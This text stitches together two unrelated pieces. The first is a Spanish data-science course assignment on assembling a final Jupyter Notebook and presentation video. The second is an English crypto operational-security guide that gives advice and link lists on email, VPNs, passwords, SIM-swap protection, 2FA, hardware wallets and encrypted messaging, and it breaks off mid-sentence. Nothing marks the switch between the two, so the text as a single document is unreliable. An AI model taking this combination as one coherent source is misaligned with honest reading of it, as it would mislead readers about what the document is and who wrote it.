## Nombre del Postwork: Preparándose para las siguientes Fases ### OBJETIVO - Afinar lo que llevamos hecho hasta ahora. - Crear un Jupyter Notebooks donde mostremos con claridad cuál ha sido nuestro proceso. - Planear pasos a futuro para análisis y visualizaciones que podamos realizar con nuestro dataset. #### REQUISITOS - Haber realizado todos los Postworks anteriores. - Tener un dataset limpio y procesado #### DESARROLLO Este módulo se llamó Procesamiento de Datos con Python. Eso significa que nuestro objetivo era aprender a adquirir, leer, explorar, limpiar, transformar y estructurar un conjunto de datos para prepararlo para su futuro análisis y visualización. Hasta ahora seguramente habrás realizado ya gran parte de esos procesos. Lo que toca ahora es embellecerlos y ordenarlos. Este último Postwork tiene 2 Partes: 1. La primera parte consiste en tomar todo lo que hemos hecho hasta ahora y colocarlo limpio y ordenado en un Jupyter Notebook. Una de las maravillas de los Jupyter Notebooks es que nos permiten intercalar texto con código, de manera que podamos ir "guiando" al lector a través de nuestro hilo de pensamiento. Bueno, imagina que quieres explicarle a alguien todo lo que has hecho usando solamente un Jupyter Notebook. No puedes hablar con esta persona ni aclararle cosas: **todo** debe de estar clarificado en el Notebook. Para embellecer un poco tus celdas de texto, puedes usar [lenguaje Markdown](https://medium.com/ibm-data-science-experience/markdown-for-jupyter-notebooks-cheatsheet-386c05aeebed). Asegúrate de empezar con una introducción donde hables acerca del tema que te llamó la atención. Explica por qué quisiste abordar este tema, cuáles fueron tus preguntas iniciales, y el problema que te gustaría resolver. 2. La segunda parte consiste en hacer planes para el futuro. El Procesamiento de Datos es sólo la fase "preparatoria". Después siguen las tres fases que le terminan de dar forma a todo proyecto de Ciencia de Datos: Análisis Estadístico, Visualización y Predicción/Inferencia. Esta última fase (Predicción) no siempre está presente y no siempre es necesaria. Pero el Análisis Estadístico y la Visualización son partes intrínsecas de la Ciencia de Datos. La segunda parte de este Postwork consiste en hacer planes a futuro. Piensa qué puedes hacer con los datos que tienes. ¿Qué te gustaría analizar? ¿Qué información está disponible en tus datos? ¿Cómo podrías ayudarte a entender mejor los datos usando gráficas y visualizaciones? Has una lista de tus planes a futuro. Seguramente esa lista irá cambiando conforme avances en el siguiente módulo, pero es un gran comienzo para tener una dirección clara. ##### (Para tu entrega final) Ha llegado el momento de la verdad para tu entrega final. Hagan un folder con los nombres de tu equipo de la siguiente manera: "Entrega_Final_Procesamiento_RafaelArias_MichaelJordan_DarthVader". Coloquen dentro de este folder su entrega escrita y su Jupyter Notebook final. Simplemente asegúrate de que tu entrega escrita este lista, en cuanto a contenido y formato. Asegúrate de haber explicado tus decisiones a través de las diferentes exploraciones y actividades, y asegúrate de justificar tu texto, agregar títulos, etc. Por otro lado, también es momento de conjuntar todo tu código en un sólo notebook, ordenarlo, comentarlo, limpiarlo y entregarlo. Te recomiendo altamente correrlo todo de principio a fin para asegurarte que funcione con el dataset y que no hay errores. Si tu dataset no está en la nube, asegúrate de también agregarlo a tu folder de entrega ¡para que nosotros podamos correr correctamente tu código! Finalmente deberás hacer un video presentando tu proyecto. Prepara diapositivas explicando lo que hiciste. Debes de al menos explicar lo siguiente: 1. Explicar porqué escogieron su problema en específico. 2. Explicar brevemente su documento y código (las preguntas, cómo coleccionaron los datos, qué hallazgos encontraron etc). 3. Explicar si tuvieron problemas, cuáles fueron y cómo los resolvieron. El video no debe durar más de 5 mins. ¡Felicidades y mucha suerte! ¡Esperamos verte en el próximo módulo de Análisis Estadístico y Visualización!

**Here we collect and discuss the best DeFi, Blockchain and crypto-related OpSec researches and data terminals - contributions are welcome.** **Feel free to submit a pull request, with anything from small fixes to translations, docs or tools you'd like to add.** - **Disclaimer: All information (tools, links, articles, text, images, etc.) is provided for educational purposes only! All information is also based on data from public sources. You are solely responsible for your actions, not the author** ❗️ [](https://github.com/OffcierCia/support/blob/main/README.md) [](https://gitcoin.co/grants/3150/defi-developer-roadmap) [](https://github.com/OffcierCia/ultimate-defi-research-base) [](mailto:[email protected]) > Note: OpSec is a term coming from the military, meaning operational security. It has been widely used to describe security precautions in various sensible activities, and more recently also in cryptocurrency management. # **Translations:** - [Portuguese-Brazilian](https://github.com/OffcierCia/Crypto-OpSec-SelfGuard-RoadMap/blob/main/TranslationsOpSec/Portuguese.md) - [French](https://github.com/OffcierCia/Crypto-OpSec-SelfGuard-RoadMap/blob/main/TranslationsOpSec/French.md) # OpSec SelfGuard RoadMap **Special Thanks:** - [AnonPlanet](https://anonymousplanet.org/links.html) **| Special Notes:** - [My Blog on Mirror](https://officercia.mirror.xyz/UpFfG7-1E4SDJttnmuQ7v4BMc4KrCXzo80vtx7qV-YY) - [My Blog on Medium](https://officercia.medium.com) ### **Why do I need OpSec?** Take a close look at [this picture](https://t.me/officer_cia/684) ([imgur link](https://imgur.com/a/vx5OeVk)). Then think up: the world is full of bad people, scammers, hackers, competitors, extortionists, and your personal enemies. Read [this research](https://www.usenix.org/system/files/1401_08-12_mickens.pdf). - Study [my blog!](https://officercia.mirror.xyz) - [Follow AnonPlanet!](https://anonymousplanet.org/links.html) This guide tries to account for all models, but focuses more on protecting against hackers, scammers, annoying fans and paparazzi, competitive espionage specialists (which can include police or other law enforcement officers who in theory can abuse their power), and so on. Your OpSec depends directly on those against whom you are up against. In other words, you must build your own OpSec wall on your own, as follows, you must navigate it flawlessly well. And it doesn't matter where it happens: on the Internet, in real life, and so on. Be one step ahead! May the power be with you! ### **Why does this guide focus primarily on advice for [EVM-based](https://github.com/mektigboy/evm-chad) blockchains and cryptocurrencies based on them?** No, this guide is appropriate for owners of **all of the possible coins, developers, shadowy super-coders and digital nomads**: you may own Bitcoin, DOGE, Sol, XMR, ETH, NFT - anything. I tried to cover all the bases, and if you follow the links, you'll see that there are already a ton of fantastic answers to all of your queries! ### **What do I need for a perfect OpSec?** Try not to enable such a psychological phenomenon as the [tunnel effect](https://corescholar.libraries.wright.edu/cgi/viewcontent.cgi?article=1006&context=isap_2005), which [refers us to the aviation psychology](https://en.wikipedia.org/wiki/Aviation_psychology) and [flight psychology](https://www.bps.org.uk/psychologist/psychology-flight), to emerge and expand. When [experienced pilots](https://flightsafety.org/asw-article/attention%E2%80%89on-deck) get overly focused on one item while disregarding or ignoring all other warnings, they have an accident. I hope you understood my guide correctly and did not allow this to happen. Be cautious, don't rush, and stay calm. When you are hungry, unwell, or defenseless, do not act on emotion. This is all correct, but nothing stops you from doing a fork or ordering an independent audit of the tools you are going to use, does it? With all said, it all depends on what you are going to get in result and against whom you are acting. <details> <summary>Expand</summary> <br /> - [The Only Safe Way to Store Crypto](https://officercia.mirror.xyz/p1ieZdxQWH4yHCNOXNPHyT8So1cY0X_wMGKwdmavi7s) - [An ultimate list of rules any on-chain survivor should follow to stay safe!](https://officercia.mirror.xyz/_nD1Rtxe1PplK-NQzIq9sl-KNtajQG0aKqYsV36RTjA) - [Trail of Bits Minimum Viable Plans (MVPs) for Security](https://docs.google.com/document/d/1-_0Wlwch_vtkPM4F-SdEXLjQYaYT7KoPlU2rjt7tkLQ/edit) - [On Operational Security in Web3](https://0xrusowsky.substack.com/p/on-operational-security) - [AnonPlanet](https://anonymousplanet.org/links.html) - [opsecprofessionals.org](https://opsecprofessionals.org) - [Crypto Security Best Practices Checklist](https://cryptosecurity.hashnode.dev/crypto-security-best-practices-checklist) </details> > [Study Kerckhoffs's principle](https://en.m.wikipedia.org/wiki/Kerckhoffs%27s_principle) - The principle which holds that a cryptosystem should be secure, even if everything about the system, except the key, is public knowledge. This concept is widely embraced by cryptographers, in contrast to security through obscurity, which is not. Let’s say we deal with a [Duress](https://play.google.com/store/apps/details?id=me.lucky.duress) or [Wasted](https://f-droid.org/packages/me.lucky.wasted/) tools. As such, it can be used wrong (e.g. weak password), or used to do bad things (e.g., exfiltrate intellectual property). On the opposite, we can just use [Steganography](https://officercia.mirror.xyz/8ecJG-s_5E6J1t-h8gUNGqV3hbX8If-E5NnrFrOJHUA) and a small paper, without even touching the computer. Both attitudes have the right to exist, in my honest opinion! All of the above refers to the criticism of tools as such and their role in OpSec. > I highly recommend to purchase a hardware wallet directly from the manufacturer's website rather than online retailers like Amazon/eBay. It is also advised to use an alternative email address or a virtual office to protect your personal information in case of a data leak. I also don’t like trusting hardware. Therefore, we all should have physical ciphers! Once again, study Steganography! - [Check out this tool!](https://mprimi.github.io/portable-secret) - [Wholeaked Tool](https://github.com/utkusen/wholeaked) - [Symbiote Tool](https://github.com/hasanfirnas/symbiote) ### **Why is this guide so big?** Well, regarding big lists. Japan was the first country to invent the work that we do now in the form of [SoKs](https://www.jsys.org/type_SoK/) or [Awesome GitHub lists](https://github.com/OffcierCia/ultimate-defi-research-base)! If anyone is still around, browsers used to be sort of a table or database of websites, many of which were quite… uninspiring. > This manual is the culmination of years of work by security professionals. Consider this guidebook to be a compilation of advice and routes. [«Antenna-websites»](https://share-docs.clickup.com/25598832/d/h/rd6vg-14247/0b79ca1dc0f7429/rd6vg-12465) were created at that time. There, their authors gathered a variety of resources that were related by a common subject to make someone’s life easier! In some ways, the creators of Awesome Lists and start.me continue this idea now. And it's fantastically amazing! ### **Why does this guide have many authors?** Last but not least, everything you do is based on the outcomes you need to achieve! You should be able to select reliable and vetted sources instead of using all the tools and links. Through given routes, you ought to be able to construct your own journey! Following that, I will tell you about the ways that I deem safe and recommend to my clients! Safety professionals have spent decades developing this manual, sharing their expertise in every word. Once again, consider this guidebook to be a compilation of advice and routes. > Remember, you must manage your OpSec wall and literally take it through "[be like water](https://www.goodreads.com/quotes/29138-be-like-water-making-its-way-through-cracks-do-not)", tending not to overdo it! You construct your own security wall, which you must guard, repair, and develop, exactly like a real wall. Visit: [this article](officercia.mirror.xyz/4x2-M4R2cSnID1wpsTO4CQNrMQ5JUFouR-rZ_N4xO-Q)! > Because OpSec is fundamentally based on fear, it effectively treats all people equally, regardless of their political or religious preferences. The following 25 rules are comparable to the rally racers' safety regulations in that they are both "written in blood". The most important thing to understand here is the path of the cyber attack – its vector. Let's take a closer look at various problems associated with OpSec and its implementation to modern life! # ### Problem 1 Use a secure email provider like Protonmail or Tutanota. Also use trusted VPN like Mullvad or ProtonVPN. E2E (end-to-end) encryption is only as secure as the service you are sending the email to. For example, if a Protonmail user sends an email to a Gmail user, the email is encrypted with TLS, but Google can still read and hand over any data that passes through their server. E2E can be re-established by using features such as the password-protected email feature from Protonmail. - [Watch More](https://www.youtube.com/channel/UCYVU6rModlGxvJbszCclGGw) - [Read More on Email Encryption with Proton](https://proton.me/support/proton-mail-encryption-explained) - [Meta Secret Tool](https://github.com/meta-secret) - [Croc Tool](https://github.com/schollz/croc) > Don't forget that the VDS/RDP + VM combination can replace all of this, but it is not available to everyone. If you know how to do it correctly - choose this way. [Check out this article as well](https://www.techtarget.com/searchitoperations/tip/Understand-the-differences-between-VPS-vs-VPC). **On the opposite:** Don’t use 3rd party VPN, rent a VPS and bootstrap open source VPN server! <details> <summary>Expand</summary> <br /> - [Richard Stallman: How I Do My Computing](https://stallman.org/stallman-computing.html) - [Choosing a Reliable VPN Provider for Life & Work](https://officercia.mirror.xyz/x91hTIDFrAL0lgqICRgWU7fLouuCMgvopQ9ZRvRXCLg) - [The Only Safe Way to Store Crypto](https://officercia.mirror.xyz/p1ieZdxQWH4yHCNOXNPHyT8So1cY0X_wMGKwdmavi7s) - [An ultimate list of rules any on-chain survivor should follow to stay safe!](https://officercia.mirror.xyz/_nD1Rtxe1PplK-NQzIq9sl-KNtajQG0aKqYsV36RTjA) - [Trail of Bits Minimum Viable Plans (MVPs) for Security](https://docs.google.com/document/d/1-_0Wlwch_vtkPM4F-SdEXLjQYaYT7KoPlU2rjt7tkLQ/edit) - [Check out this awesome Privacy-focused toolkit!](https://techlore.tech/resources) - [Create your own vpn server](https://proprivacy.com/vpn/guides/create-your-own-vpn-server) - [Create your own vpn server No.2](https://medium.com/press-start-to-begin/anyone-can-ssh-into-a-server-scp-files-from-it-set-up-your-own-vpn-or-all-of-the-above-471a06e310bd) - [Setup OpenVPN server on Ubuntu](https://www.cyberciti.biz/faq/howto-setup-openvpn-server-on-ubuntu-linux-14-04-or-16-04-lts) - [Watch more](https://youtu.be/rXwJwubqVmI) - [Wireguard VS OpenVPN](https://restoreprivacy.com/vpn/wireguard-vs-openvpn) - [Brave Browser Privacy Issues](https://telegra.ph/Brave-Browser-is-a-Spyware-01-29) - [How to Disappear from the Internet!](https://medium.com/@garvittkohli/how-to-disappear-from-the-internet-53a039dc6397) </details> **Check out:** Use dedicated email address for each account, or use an alias eg. chortly534524twitter@gmail , if it leaks it will be isolated to the account! You can also use something like [private addresses feature](https://spreadprivacy.com/protect-your-inbox-with-duckduckgo-email-protection) from DuckDuckGo or [simplelogin.io](https://simplelogin.io). <details> <summary>Expand</summary> <br /> - [How to hide your email](https://gizmodo.com/the-best-ways-to-hide-your-email-address-1848092989) - [Anti-detection system](https://detect.expert) - [Browser leakage checkers](https://graph.org/Checkers-01-19) </details> --- ### Problem 2 Use different emails and different strong passwords. Store them in one place like a password manager. Never reuse passwords, especially for accounts with personally identifiable and sensitive information (e.g. Facebook, Gmail, AppleID, Twitter, banks/payments, crypto accounts). - [Taming a Wildhorse CEX App](https://officercia.mirror.xyz/scaEkpIpF7pd9Dhsj26F3HguaYnwhDg9TeAGIo76aRY) - [«Back office» and «front office»](https://twitter.com/officer_cia/status/1516581048792289280) - [Steganography tool](https://stylesuxx.github.io/steganography) - [The State of Crypto Security](https://thecontrol.co/the-state-of-crypto-security-d628ac5b609d) - [Blockchain dark forest selfguard handbook](https://github.com/slowmist/Blockchain-dark-forest-selfguard-handbook) Use passwords that are at least 8 characters in length, but a minimum of 12 is generally recommended for memorization. Along with that, if using memorization, ensure that a minimum complexity requirement is met: which means having an uppercase character, a lowercase character, a digit, and a non-alphabetic character. <details> <summary>Expand</summary> <br /> - [Store SSH keys in the Secure Enclave!](https://github.com/maxgoedjen/secretive) - [Blockchain dark forest selfguard handbook](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/user_awareness/01_handbook/en) - [A tool that allows user to create time bound backups for various cryptocurrencies](https://github.com/James-Sangalli/crypto-timelocked-backup) </details> > For a perfect-level privacy, always generate complex passwords and write them down on a notebook. It takes time but saves headache. Somewhere along the line, the 'stop writing passwords on sticky notes' narrative got misinterpreted as 'never write them down'. There's nuance to it! Using a string of unrelated words while still meeting the dictionary requirement makes it easy to have an extremely secure password while still being able to remember it. If fully relying on a password manager, a password of 20+ characters in length that is randomly generated can be used. <details> <summary>Expand</summary> <br /> - [Wi-Fi Security A-Z](twitter.com/officer_cia/status/1566473017068331010) - [Fing App](https://www.fing.com) - [How to detect if someone is attempting to crack your wi-fi](https://andrecamillo.medium.com/how-to-detect-if-someone-is-attempting-to-crack-your-wi-fi-1d142c5cec93) - [Use a Raspberry Pi To Catch Hackers with OpenCanary](https://www.tomshardware.com/news/use-a-raspberry-pi-to-catch-hackers-with-opencanary) - [canarytokens.org](https://canarytokens.org/generate) - [Someone overheard me! Why it's important to think about all attack vectors, even if they seem unlikely to happen?](https://officercia.mirror.xyz/Gc4msiSq4HkKrrsKcL5tDF613iUtX4vWUAb5DYdDPC0) - [MacOS + IOS + Crypto + OpSec = ?](https://officercia.mirror.xyz/0uiAGM50rkQSvHbptcrVkCkyxsnewpAFIdu3oyga42Y) - [Awesome wifi security](https://github.com/edelahozuah/awesome-wifi-security) - [bbox.rocks](https://bbox.rocks) - [IT security lecture](https://github.com/bkimminich/it-security-lecture/) - [Unredacter Tool](https://github.com/BishopFox/unredacter) - [forensicdots.de](https://www.forensicdots.de/) - [meta-secret App](https://github.com/meta-secret) - [Portable-secret App](https://mprimi.github.io/portable-secret/) </details> If you see suspicious password activity or failed log-ins on any of your accounts, change all of your passwords, starting with sensitive and authorization accounts, such as your primary email and bank/crypto accounts. [KeePass](https://keepass.info) or [Keepassx](https://keepassx.org) or [KeePassDX](https://www.keepassdx.com) or [KeePassXC](https://keepassxc.org) or [BitWarden](https://bitwarden.com) are good options. I also found [this tutorial](https://forums.linuxmint.com/viewtopic.php?f=42&t=291093) for [integrity check](https://keepass.info/integrity.html) (and other checks) very helpful, be sure to check it out as well: [link](https://forums.linuxmint.com/viewtopic.php?f=42&t=291093). <details> <summary>Expand</summary> <br /> - [This article tells that when using BitWarden one have to audit server side cryptography primitives by himself and monitor for changes!](https://palant.info/2023/01/23/bitwarden-design-flaw-server-side-iterations) - [Secant](https://start.me/p/GEbM6z/secant) - [Awesome csirt](https://github.com/Spacial/awesome-csirt) - [teachingprivacy.org](https://teachingprivacy.org/) - [securityinabox.org](https://securityinabox.org/en/) - [SecureYourselfNow](https://www.hoppersroppers.org/security/SecureYourselfNow/0-SecureYourselfNow.html) - [ssd.eff.org](https://ssd.eff.org/en) - [Wasted](https://f-droid.org/packages/me.lucky.wasted/) - [bbox.rocks](https://bbox.rocks) </details> **On the opposite:** > For 2FA one can use KeePass + Yubikey as well. KeePass allows setting up TOTP to any entry in your .kdbx file. Yubikey could be used in company with KeePass to add a bit of entropy on each re-encryption when adding an entry in your db file: [Ref No.1](https://developers.yubico.com/Developer_Program/Guides/Touch_triggered_OTP.html); [Ref No.2](https://www.reddit.com/r/KeePass/comments/opx34q/keepassxc_and_yubikeys_setting_up_the); [Ref No.3](https://github.com/keepassxreboot/keepassxc/discussions/6344). <details> <summary>Expand</summary> <br /> - [Read More](https://blog.keys.casa/7-ways-to-level-up-your-bitcoin-opsec/) - [NIST 800-63b Password Guidelines and Best Practices](https://specopssoft.com/blog/nist-800-63b/) - [OpSec tips](https://twitter.com/wazzcrypto/status/1511447427751952385) - [How to Defend Your Castle | Innovative Trio in Smart Contract Security: Monitoring, Prevention, Defense](https://blog.pessimistic.io/how-to-defend-your-castle-innovative-trio-in-smart-contract-security-monitoring-prevention-c8885304035a) - [Web3 Cybersecurity Academy](https://twitter.com/1nf0s3cpt/status/1615613430991564807) - [Enhancing user asset security](https://twitter.com/1nf0s3cpt/status/1614896605270007811) - [Rare Web2 phreaker style attacks: Note](https://telegra.ph/Dear-friends-does-anyone-here-know-of-any-rare-Web2-phreaker-style-attacks-01-30) </details> --- ### Problem 3 Never link phone numbers to crypto platforms. Use trusted multiple e-sims if you have to link the phone. To lock down your SIM, contact your mobile phone carrier. > That is a standard that [has been tested](https://twitter.com/officer_cia/status/1607182946104119301) by telecommunications operators in the [US, the UK, Poland, and China](https://twitter.com/officer_cia/status/1581725537571344385) - also check out [this tweet](https://twitter.com/cryptonacks/status/1538206075178074113) and [this article](https://www.androidpolice.com/how-to-protect-yourself-from-a-sim-swap-attack). You just need to insist on it or visit the head office, and I’m sure that the support manager on the phone mayn’t know about it! Ask them to NEVER make changes to your phone number/SIM unless you physically show up to a specific store with at minimum two forms of identification. This (should) prevent hackers from calling up AT&T or T-Mobile or Vodafone, claiming to be you, and asking them to port your phone number to a new phone. > SERM/ORM (search engine reputation marketing or reputation management) and [Counter-OSINT](https://github.com/soxoj/counter-osint-guide-en) - **do** exist, and one of the most interesting areas of which is to work with adding fake or confusing information about yourself in "leakages" or, for example, attaching to your number 100+ names related to taxi services through various GetContact accounts, to confuse potential bad actors who will try to research data on you in the future, in preparation for an attack. Then, think up. **On the opposite:** > Instead, require staff to verify via phone call to a secondary number because show ID is compromised or just use something like [Efani](https://www.efani.com). Or [tend to use E-sim only](https://twitter.com/officer_cia/status/1582984626146250753)! - [OpSec Going Smart](https://officercia.mirror.xyz/fsRT9NC29GzeQAl-zvAMJ9L-hYUYvX1CPUkt97Vuuwo) - [OpSec Going Smarter](https://officercia.mirror.xyz/B9hBom4jGhkV0C-47E4YBz8tBJkb0a7zVwQR0jITIyM) - [OpSec Going Smarter: Secure Smartphones](https://officercia.mirror.xyz/0tlSSF2LDTOnnMN41R5Uc1kTpo-G-kXljn8pT0a1YLY) - [Choosing a Reliable VPN Provider for Life & Work](https://officercia.mirror.xyz/x91hTIDFrAL0lgqICRgWU7fLouuCMgvopQ9ZRvRXCLg) - [How to use an ipad as a secure calling and messaging device](https://yawnbox.com/blog/how-to-use-an-ipad-as-a-secure-calling-and-messaging-device) - [Read More](https://medium.com/the-business-of-crypto/fundamentals-of-opsec-in-crypto-7844ba701b1d) - [Intro to Web3 Security](https://n00bzunit3d.xyz/blog/intro-to-web3-security) - [Privacy and Scaling Explorations](https://mirror.xyz/privacy-scaling-explorations.eth) - [A collection of practical security-focused guides and checklists for smart contract development](https://github.com/nascentxyz/simple-security-toolkit) --- ### Problem 4 Instead of SMS-based 2FA, use Authy or Aegis OTP for iOS or Android. Google Authenticator is generally not recommended anymore in order to stay out of the Google ecosystem, and Authy offers more robust account recovery options (Aegis does not offer the same level of account recovery options). Keep in mind that the codes generated by 2FA apps are device specific. > Learn MFA and 3FA! [Check out this article](https://www.techtarget.com/searchsecurity/definition/three-factor-authentication-3FA). If your account is not manually backed up to Google cloud or iCloud and you lose your phone, you’ll need to spend some time proving your identity to restore your 2FA. The added security is worth the hassle! Hardware-based 2FA options are regarded as more secure than phone-based OTP options since the keys are stored on the YubiKey device itself, not on your phone, or in the cloud, or on your computer. **On the opposite:** > Aegis Authenticator is open source (licensed under GPL v3) and the source code [can be found here](http://github.com/beemdevelopment/Aegis). The issue with Authy is that it depends on a phone number which can be changed through an email request, allowing anyone access to HOTP/TOTP after an approximate 4-day wait period. To avoid that, disable multi-device function in Authy's settings! <details> <summary>Expand</summary> <br /> - [Tips from TrailOfBits](https://docs.google.com/document/d/1-_0Wlwch_vtkPM4F-SdEXLjQYaYT7KoPlU2rjt7tkLQ/edit) - [Read More](https://www.threatstack.com/blog/five-opsec-best-practices-to-live-by) - [CryptoCustody Blog](https://cryptocustody.substack.com) - [A DIY Guide to High-Security Cryptography](https://medium.com/web3-magazine/a-diy-guide-to-high-security-cryptography-5c85a5fd8934) - [Securing OT Systems: A Practical Guide](https://ismailtasdelen.medium.com/securing-ot-systems-a-practical-guide-827d1a5d9515) - [ECDSA: Handle with Care](https://blog.trailofbits.com/2020/06/11/ecdsa-handle-with-care/) - [solidity-security](https://github.com/jcr-security/solidity-security-teaching-resources) - [A Basic iPhone Feature Helps Criminals Steal Your Entire Digital Life](https://www.wsj.com/articles/apple-iphone-security-theft-passcode-data-privacya-basic-iphone-feature-helps-criminals-steal-your-digital-life-cbf14b1a) - [Checklist for Developers for securing APIs](https://infosecwriteups.com/api-security-for-developers-58f971bcc2c1) </details> --- ### Problem 5 Cold storage, and separate “hot” wallet. Use multisig ([gnosis-safe.io](https://gnosis-safe.io) as example) or at least a hardware wallet. Never store your seed phrase digitally. Seed phrases are intended to be stored on the paper card included with hardware wallets! That means never type it up, store it online, or take a photo of the card. Store your key on hard device. - [List of Hardware Wallet Hacks](https://thecharlatan.ch/List-Of-Hardware-Wallet-Hacks/) - [Another List](https://docs.google.com/spreadsheets/d/13d5xnVa2PlhzNLAxvvufRCT1fpDbnByI3UOf276zYZ0/edit?pli=1#gid=1518841983) - [walletcompare.xyz/](https://walletcompare.xyz/) - [walletscrutiny.com](https://walletscrutiny.com/) <details> <summary>Expand</summary> <br /> - [The Only Safe Way to Store Crypto](https://officercia.mirror.xyz/p1ieZdxQWH4yHCNOXNPHyT8So1cY0X_wMGKwdmavi7s) - [An ultimate list of rules any on-chain survivor should follow to stay safe!](https://officercia.mirror.xyz/_nD1Rtxe1PplK-NQzIq9sl-KNtajQG0aKqYsV36RTjA) - [Read More](https://digitalguardian.com/blog/what-operational-security-five-step-process-best-practices-and-more) - [Read More](https://joelgsamuel.medium.com/how-to-keep-your-smartphone-safe-from-spying-d7d50fbed817) - [ShiftCrypto](https://shiftcrypto.support/help/en-us/5-backup/72-what-types-of-wallet-backups-can-i-create) - [Rogue Key Attack in BLS Signature and Harmony Security](https://medium.com/@coolcottontail/rogue-key-attack-in-bls-signature-and-harmony-security-eac1ea2370ee) </details> **Great wallets (both hot and cold):** - **I Recommend Trezor or a [Lattice](https://gridplus.io/products/grid-lattice1)!** - [Opinion on Trezor](https://twitter.com/0xjezza/status/1614522479438958592) - [airgapcomputer.com](https://airgapcomputer.com) **For Bitcoin:** - [Coldcardwallet](https://twitter.com/coldcardwallet) - [Cypherockwallet](https://twitter.com/cypherockwallet) - [Sparrowwallet.com](https://sparrowwallet.com) - [BitBox](https://shiftcrypto.ch/bitbox02/threat-model) - [Bitlox](https://twitter.com/bitlox) **Other Cryptocurrencies:** - [Alphawallet](https://twitter.com/alphawallet) - [Airgap_it](https://twitter.com/airgap_it) - [rainbow.me](https://rainbow.me) - [Frame.sh](https://frame.sh) - [Walletscrutiny.com](http://walletscrutiny.com) - [Grid-lattice1](https://gridplus.io/products/grid-lattice1) - [Atomicwallet.io](https://atomicwallet.io) - [Alternatives to Metamask](https://ethereum.stackexchange.com/questions/73982/alternatives-to-metamask) - [myetherwallet.com](https://www.myetherwallet.com) - [Forked MetaMask](https://twitter.com/0xngmi/status/1601744180510085121) - [Multichain crypto wallet](www.npmjs.com/package/multichain-crypto-wallet) --- ### Problem 6 Offline (better - physical) backups. Store them in a safe. Can be written on paper, but recommended to be etched or laser-printed into metal. Always be sure to have a backup stored somewhere safe if your threat model allows for that. > In cryptography, [format-preserving encryption (FPE)](https://en.wikipedia.org/wiki/Format-preserving_encryption), refers to encrypting in such a way that the output (the ciphertext) is in the same format as the input (the plaintext). The meaning of "format" varies. Typically only finite sets of characters are used; numeric, alphabetic or alphanumeric. - [Audio Steganography : The art of hiding secrets](https://sumit-arora.medium.com/audio-steganography-the-art-of-hiding-secrets-within-earshot-part-1-of-2-6a3bbd706e15) - [Audio Steganography Technique for Communication Security](https://ukdiss.com/examples/implementation-design-for-audio-steganography.php) - [Learn OpSec basics in 15 mins](https://www.youtube.com/watch?v=rMSgnOYcEVE) Ask yourself, what happens if my house catches on fire? What temperature is my safe rated to? Some individuals find a safety deposit box handy. <details> <summary>Expand</summary> <br /> - [OpSec Going Smart](https://officercia.mirror.xyz/fsRT9NC29GzeQAl-zvAMJ9L-hYUYvX1CPUkt97Vuuwo) - [OpSec Going Smarter](https://officercia.mirror.xyz/B9hBom4jGhkV0C-47E4YBz8tBJkb0a7zVwQR0jITIyM) - Check out: [Portable Secret](https://mprimi.github.io/portable-secret) & [digi cloak](https://github.com/kaushalmeena/digi-cloak) - [Read More](https://www.gocivilairpatrol.com/programs/emergency-services/operations-support/operational-security-opsec) - [How to Store Seed Phrase Backups](https://unchained.com/blog/how-to-store-bitcoin-seed-phrase-backups) - [Awesome Security Hardening Guides](https://github.com/decalage2/awesome-security-hardening) - [Authenticator app for storing your 2FA secrets](https://github.com/ente-io/auth/#readme) - [iOS Forensics References](https://github.com/RealityNet/iOS-Forensics-References) - [Android Forensics References](https://github.com/RealityNet/Android-Forensics-References) </details> --- ### Problem 7 Never do anything you do not understand. Always check which token you approve, transaction you sign, assets you send, etc - be extremely accurate while making any financial operation. Keep in mind that one of possible attack vectors is to put you in a situation that will encourage you to do smth (login or anything like that). > Tip: Don't use Tails OS if you want to achieve anonymity on the network, choose Whonix OS together with Qubes OS or Whonix OS together with free and secure Linux and virtualization through KVM/Qemu! > You can install Comodo or MalwareBytes antivirus but it won't help you if you do not understand them. Keep up your basic set of defending tools up to date. For ultra-secure comunications, run WhonixOS and [use Jabber (Adium, Psi+ or Xabber or ChatSecure) over Tor with OTR plug-in.](https://www.darknetstats.com/tutorial-xmpp-jabber-otr-over-tor) Or Matrix… Or, at least, configure telegram correctly… - [Digital Communications Protocols](https://docs.google.com/spreadsheets/d/1-UlA4-tslROBDS9IqHalWVztqZo7uxlCeKPQ-8uoFOU/edit#gid=0) - [OTR versus OMEMO](https://forums.whonix.org/t/otr-versus-omemo/14063) - [ChatSecure](https://chatsecure.org) - [Encrypted Instant Messaging on Mac OS X with Adium and Off The Record](https://calyxinstitute.org/docs/howto-encrypted-instant-messaging-with-osx-adium-and-otr) - [axolotl, OMEMO vs OpenPGP](https://lists.gnupg.org/pipermail/gnupg-devel/2016-March/030917.html) - [The most significant milestones in the development of communications](https://officercia.mirror.xyz/G4782jMUpA_kkIpwakphbd6djX85cxRGS-pjBipc8Yk) - [Telegram & Discord Security Best Practices](https://officercia.mirror.xyz/dlf6ZEXq3FLE21ZY2jeJ0cBDyuZu8XIF9DEJAQ07nk8) - [Jolly Roger’s Security Thread for Beginners](https://www.lopp.net/pdf/Jolly_Rogers_Security_Guide_for_Beginners.pdf) - [A curated list of privacy & security-focused software and services](https://github.com/Lissy93/awesome-privacy) - [Complete Expert Opsec Setup](https://ru.scribd.com/document/514305801/Complete-Expert-Opsec-Setup) - [Pidgin](https://pidgin.im/help/protocols/xmpp/) - [The Hitchhiker’s Guide to Online Anonymity](https://anonymousplanet.org) - [element.io - Matrix client](https://element.io) - [jitsi.org - for video calls](https://jitsi.org) - [Open source virtual / remote desktop infrastructure for everyone!](https://rustdesk.com) - [The Invisible Internet Project](https://geti2p.net/en) - [Get Bridges for Tor](https://bridges.torproject.org) - [YouTubeDrive](https://github.com/dzhang314/YouTubeDrive) & [example](https://www.youtube.com/watch?v=Fmm1AeYmbNU) - [youbit](https://github.com/MeViMo/youbit) - [aperisolve.com](https://www.aperisolve.com) OpSec isn't always a matter of survival! It manifests itself in a variety of ways: at work, in everyday life, in communication, in DAO work, in conferences, and so on. You may be surprised to learn that there is no perfect solution. The strategies and tactics differ greatly and are dependent on you and what you need to achieve. <details> <summary>Expand</summary> <br /> - [An ultimate list of rules any on-chain survivor should follow to stay safe!](https://officercia.mirror.xyz/_nD1Rtxe1PplK-NQzIq9sl-KNtajQG0aKqYsV36RTjA) - [openvpn-install](https://github.com/Nyr/openvpn-install) - [Juice jacking: Why you should avoid public phone charging stations](https://www.nbcnews.com/tech/security/juice-jacking-why-you-should-avoid-public-phone-charging-stations-n1132046) </details> I'm only offering you a set of tools and guidelines to hunt for information; the rest is up to you! No one can create your security wall better than you, and learning OpSec does not 